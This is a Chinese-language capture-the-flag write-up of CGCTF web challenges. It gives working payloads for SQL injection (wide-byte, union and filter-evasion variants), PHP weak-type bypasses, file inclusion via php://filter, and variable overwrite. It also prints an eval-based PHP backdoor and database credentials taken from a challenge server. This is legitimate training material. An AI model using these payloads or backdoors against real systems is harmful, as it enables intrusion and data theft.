抽空整理了一下CGCTF平台的Web题的writeup。
0x01 签到题(题目地址:http://chinalover.sinaapp.com/web1/)
签到题,源码可以获取flag。
0x02 md5 collision(题目地址:http://chinalover.sinaapp.com/web19/)
题目提供了源码:
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
考察PHP弱类型,如果字符串满足0e\d+
,解析为科学计数法,即结果为0。这里md5('QNKCDZO')
的结果正好满足0e\d+
的形式,所以以get方式传入一个md5值满足0e\d+
形式的值给参数$a即可。
0x03 签到2(题目地址:http://teamxlc.sinaapp.com/web1/02298884f0724c04293b4d8c0178615e/index.php)
签到题,修改前端input标签的maxlength的长度然后输入口令即可获取flag。
0x04 这题不是WEB(题目地址:http://chinalover.sinaapp.com/web2/index.html)
简单的信息隐藏,修改2.gif后缀为.txt,打开拖到末尾即可获取flag。
0x05 层层递进(题目地址:http://chinalover.sinaapp.com/web3/)
如题,层层递进,源码可以看到有一个SO.html,点进去,仔细看出现一个S0.html,继续点,出现了SO.htm,继续点,出现了S0.htm,继续点,出现了404.html,查看源码,可以获取flag。
此处也可以使用burp进行爬虫,可以很快爬出上述几个文件,直接查看404.html源码可以获取flag。
0x06 AAencode(题目地址:http://homura.cc/CGfiles/aaencode.txt)
这题编码有点问题,直接浏览器打开好像是unicode,右键另存为aaencode.txt,打开就可以拿到正常的aaencode,拿到浏览器控制台即可执行,获取flag。
0x07 单身二十年(题目地址:http://chinalover.sinaapp.com/web8/)
打开题目,源码看一下,发现search_key.php,但是点击后却直接跳到no_key_is_here_forever.php,抓包看一下就可以获取flag。
0x08 php decode(题目地址:无)
给了一个类似编码的shell,要解码。
<?php
function CLsI($ZzvSWE) {
$ZzvSWE = gzinflate(base64_decode($ZzvSWE));
for ($i = 0; $i < strlen($ZzvSWE); $i++) {
$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
}
return $ZzvSWE;
}
eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>
直接执行会报eval语法错误,那么我们改成echo输出一下看解码后的信息,可以直接获取flag。
0x09 文件包含(题目地址:http://4.chinalover.sinaapp.com/web7/index.php)
如题,文件包含,使用伪协议php://filter分别获取index.php,show.php的源码并base64解码,发现flag在index.php末尾。
0x10 单身一百年也没用(题目地址:http://chinalover.sinaapp.com/web9/)
跟0x07类似,抓包可以发现在响应头有flag。
0x11 Download~!(题目地址:http://way.nuptzj.cn/web6/)
任意文件下载,观察下载文件的链接,发现参数url的值是经过base64编码的,所以我们尝试下载其他文件,在download.php发现包含了hereiskey.php,直接下载之可以获取flag。
0x12 COOKIE(题目地址:http://chinalover.sinaapp.com/web10/index.php)
抓包,修改cookie为1即可获取flag。
0x13 MYSQL(题目地址:http://chinalover.sinaapp.com/web11/)
提示robots.txt,给了源码:
别太开心,flag不在这,这个文件的用途你看完了?
在CTF比赛中,这个文件往往存放着提示信息
TIP:sql.php
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);
}
}
?>
很明显考的是intval()的用法,php官网说的是获取变量的整数值
,所以这里只需要给参数id传入一个整数位为1024,小数位随便一个不为0的值即可绕过验证获取flag。
0x14 GBK Injection(题目地址:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1)
宽字节注入,没有任何过滤。注入语句如下:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27+union+select+1,database()--+
sae-chinalover
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df'+union+select+1,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
ctf,ctf2,ctf3,ctf4,news
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df'+union+select+1,(select group_concat(column_name) from information_schema.columns where table_name=0x63746634)--+
id,flag
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df'+union+select+1,(select flag from ctf4)--+
nctf{gbk_3sqli}
0x15 /x00(题目地址:http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php)
给了源代码:
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
本题需要绕过ereg()函数,有两种方法:
法一:数组绕过
index.php?nctf[]=#biubiubiu
法二:\x00截断
index.php?nctf=1%00%23biubiubiu
0x16 bypass again(题目地址:http://chinalover.sinaapp.com/web17/index.php)
题目给了源码:
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}
跟0x02一样的。index.php?a=240610708&b=QNKCDZO
另外,md5(array)的值为空,所以另一种解法为:index.php?a[]=&b[]=1
0x17 变量覆盖(题目地址:无)
题目给了代码:
<?php
include("secret.php");
?>
<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
<?php
extract($_POST);
if ($pass == $thepassword_123) { ?>
<div class="alert alert-success">
<code><?php echo $theflag; ?></code>
</div>
<?php } ?>
<?php } ?>
典型的变量覆盖,extract()函数的$extract_type缺省值为1,若没有另外指定,函数将覆盖已有变量,故传入任意pass和与之相等的thepassword_123即可获取flag。
0x18 PHP是世界上最好的语言(题目地址:http://way.nuptzj.cn/php/index.php)
给了源码:
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>
<br><br>
Can you authenticate to this website?
绕过eregi()函数与ereg()函数一样,由于$_GET 会自动对参数调用 urldecode,此处需要urlencode两次,再进行提交即可获取flag。
0x19 伪装者(题目地址:http://chinalover.sinaapp.com/web4/xxx.php)
加了X-forwarded-for也没用,加了referer也没用,有点奇怪。。
0x20 Header(题目地址:http://way.nuptzj.cn/web5/)
根据提示查看响应头,可以发现flag。
0x21 上传绕过(题目地址:http://teamxlc.sinaapp.com/web5/21232f297a57a5a743894a0e4a801fc3/index.html)
00截断上传。
0x22 SQL注入1(题目地址:http://chinalover.sinaapp.com/index.php)
给了源代码:
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = trim($_POST[user]);
$pass = md5(trim($_POST[pass]));
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
echo '</br>'.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
echo "<p>Logged in! flag:******************** </p>";
}
if($query[user] != "admin") {
echo("<p>You are not admin!</p>");
}
}
echo $query[user];
?>
本题主要在于拼接sql语句的时候能够查询出user为admin的结果,此处只需要闭合user参数并注释掉后面的语句即可。
post以下内容:user=admin')-- -&pass=123或user=admin')#&pass=123
0x23 pass check(题目地址:http://chinalover.sinaapp.com/web21/)
给了代码:
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>
考察strcmp()弱类型,传入数组时会返回null。所以post的数据为pass[]=1可以获取flag
0x24 起名字真难(题目地址:无)
给了源码:
<?php
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>
源码要求不能传入1-9的数字,但跟54975581388要相等,这里我们可以转换一下进制,传入0xccccccccc即可获取flag。
0x25 密码重置(题目地址:http://nctf.nuptzj.cn/web13/index.php?user1=Y3RmdXNlcg==)
将user参数改为admin,将url的user1参数改成admin的base64编码传入即可获取flag。
0x26 php 反序列化(暂时无法做)(题目地址:无)
代码如下:
<?php
class just4fun {
var $enter;
var $secret;
}
if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
if(get_magic_quotes_gpc()){
$pass=stripslashes($pass);
}
$o = unserialize($pass);
if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$o->secret;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>
本题考点在于反序列化后,secret会被重新赋值为一个未知的值,但要求enter跟secret的值一致才能拿到flag。
这里主要考察一个知识点:对象包含的引用在序列化时也会被存储。
我们通过将secret的引用赋值给enter,这样就可以同步变化,绕过验证。
产生payload的代码:
<?php
class just4fun {
var $enter;
var $secret;
}
$JuH0n = new just4fun();
$JuH0n -> enter = &$JuH0n -> secret;
$pass = serialize($JuH0n);
print_r($pass);
?>
0x27 SQL Injection(题目地址:http://chinalover.sinaapp.com/web15/index.php)
源码如下:
<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
-->
代码中clean()函数去掉转义,htmlentities($str, ENT_QUOTES)会转换单引号和双引号。这里我们只能通过引入反斜杠,转义原有的单引号,改变原sql语句的逻辑,导致sql注入。
payload如下:?username=\&password=%20or%201%23
最终sql语句为
SELECT * FROM users WHERE
name='\' AND pass='
or 1
#'
0x28 综合题(题目地址:http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/index.php)
- 打开链接得到一段jsfuck,丢控制台运行得到1bc29b36f623ba82aaf6724fd3b16718.php
- 访问,在HTTP响应头得到提示tip:history of bash;
- 访问/.bash_history,得到压缩命令:zip -r flagbak.zip ./*
- 根据压缩文件名下载得到flag
0x29 system(暂时无法做)(题目地址:无)
0x30 SQL注入2(题目地址:http://4.chinalover.sinaapp.com/web6/index.php)
关键代码:
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
这道题可以直接通过参数user注出admin的密码,然后登陆拿flag,也可以直接按照出题者的意图,通过union查询来绕过。
当union前面的语句查询不成功的时候会执行后面的语句,所以构造下面的payload:user=' union select '0a7218bcb617e2f64ff5b07415e43f49&pass=JuH0n
即可登陆成功,其中0a7218bcb617e2f64ff5b07415e43f49
为``JuH0n`的md5值。
0x31 综合题2(题目地址:http://cms.nuptzj.cn/)
简单收集一下信息可以得到一下文件结构:
about.php?file=sm.txt
index.php?page=1
preview.php
say.php
so.php
config.php 存放数据库信息
passencode.php
antiinject.php
admin表结构 create table admin ( id integer, username text, userpass text, )
#下面文件由后续操作获得
antixss.php //通过伪协议发现
conpass.php //通过伪协议发现
由about.php?file=sm.txt
猜测文件包含,通过php://filter伪协议可以读取上述文件(除了config)的源码。
about.php源码如下:
<?php
$file = $_GET['file'];
if ($file == "" || strstr($file, 'config.php')) {
echo "file参数不能为空!";
exit();
} else {
$cut = strchr($file, "loginxlcteam");
if ($cut == false) {
$data = file_get_contents($file);
$date = htmlspecialchars($data);
echo $date;
} else {
echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
}
}
发现存在目录loginxlcteam/
,访问发现是后台,我们想办法登陆后台,测试不同用户名发现存在admin
用户,但是密码好像没办法猜测或者通过注入登陆框获得,我们找其他注入点,分析其他文件。
so.php源码:
<?php
if ($_SERVER['HTTP_USER_AGENT'] != "Xlcteam Browser") {
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
exit();
}
$id = $_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id = antiinject($id);
$con = mysql_connect($db_address, $db_user, $db_pass) or die("不能连接到数据库!!" . mysql_error());
mysql_select_db($db_name, $con);
$id = mysql_real_escape_string($id);
$result = mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs = mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']) . ':<br /> ' . antixss($rs['say']) . '<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>
antiinject.php源码:
<?php
function antiinject($content) {
$keyword = array("select", "union", "and", "from", ' ', "'", ";", '"', "char", "or", "count", "master", "name", "pass", "admin", "+", "-", "order", "=");
$info = strtolower($content);
for ($i = 0;$i <= count($keyword);$i++) {
$info = str_replace($keyword[$i], '', $info);
}
return $info;
}
?>
可以发现,
- 验证
$_SERVER['HTTP_USER_AGENT']
字段是否为Xlcteam Browser
- so.php的参数为整数型,并且通过antiinject.php进行防注入
- antiinject.php只是将关键字替换为空
所以我们可以这样绕过:
- 抓包,添加User-Agent字段
- 双写绕过关键字过滤,/**/可代替空格
3.使用union联合查询,结合admin表的结构直接查出admin的密码
payload如下:
soid=1/**/a=nd/**/0/**/uni=on/**/se=lect/**/1,(se=lect/**/group_concat(userpa=ss)/**/fr=om/**/adm=in),3,4
通过登陆我们获得了一个后门(回调后门)的文件名xlcteam.php
,使用伪协议读取源码。
xlcteam.php 源码:
<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>
参考P神的文章,直接使用菜刀链接可以找到flag。
URL:http://cms.nuptzj.cn/xlcteam.php?www=preg_replace
密码:wtf
此题到此结束,但同时可以读取到config.php的内容,连接上去可以操作数据库。。
<?php
$db_address = 'ctf.nuptzj.cn';
$db_user = 'sae-exploitblog';
$db_pass = 'asdfqwer';
$db_name = 'sae-exploitblog';
?>
0x32 密码重置2(题目地址:http://nctf.nuptzj.cn/web14/index.php)
TIPS:
1.管理员邮箱观察一下就可以找到
2.linux下一般使用vi编辑器,并且异常退出会留下备份文件
3.弱类型bypass
通过页面源码可以找到管理员邮箱admin@nuptzj.cn
。
访问.submit.php.swp
得到submit.php
源代码。
........这一行是省略的代码........
/*
如果登录邮箱地址不是管理员则 die()
数据库结构
--
-- 表的结构 `user`
--
CREATE TABLE IF NOT EXISTS `user` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) NOT NULL,
`email` varchar(255) NOT NULL,
`token` int(255) NOT NULL DEFAULT '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
--
-- 转存表中的数据 `user`
--
INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可见***', '***不可见***', 0);
*/
........这一行是省略的代码........
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "失败了呀";
}
}
源码要求token的长度为10并且token的值为0,我们可以利用0e\d+
的值为0的知识点,也可以直接传入0000000000
,这样就可以绕过而获取flag。
0x33 file_get_contents(题目地址:erhttp://chinalover.sinaapp.com/web23/)
给了源码:
<!--$file = $_GET['file'];
if(@file_get_contents($file) == "meizijiu"){
echo $nctf;
}-->
此处可以通过伪协议php://input
访问请求的原始数据的只读流。
0x34 变量覆盖(题目地址:http://chinalover.sinaapp.com/web24/)
变量覆盖,代码审计类题目
源码:
<!--foreach($_GET as $key => $value){
$$key = $value;
}
if($name == "meizijiu233"){
echo $flag;
}-->
只考了一个知识点,$$变量覆盖。给参数name赋值meizijiu233就可以直接覆盖掉name参数原来的值了。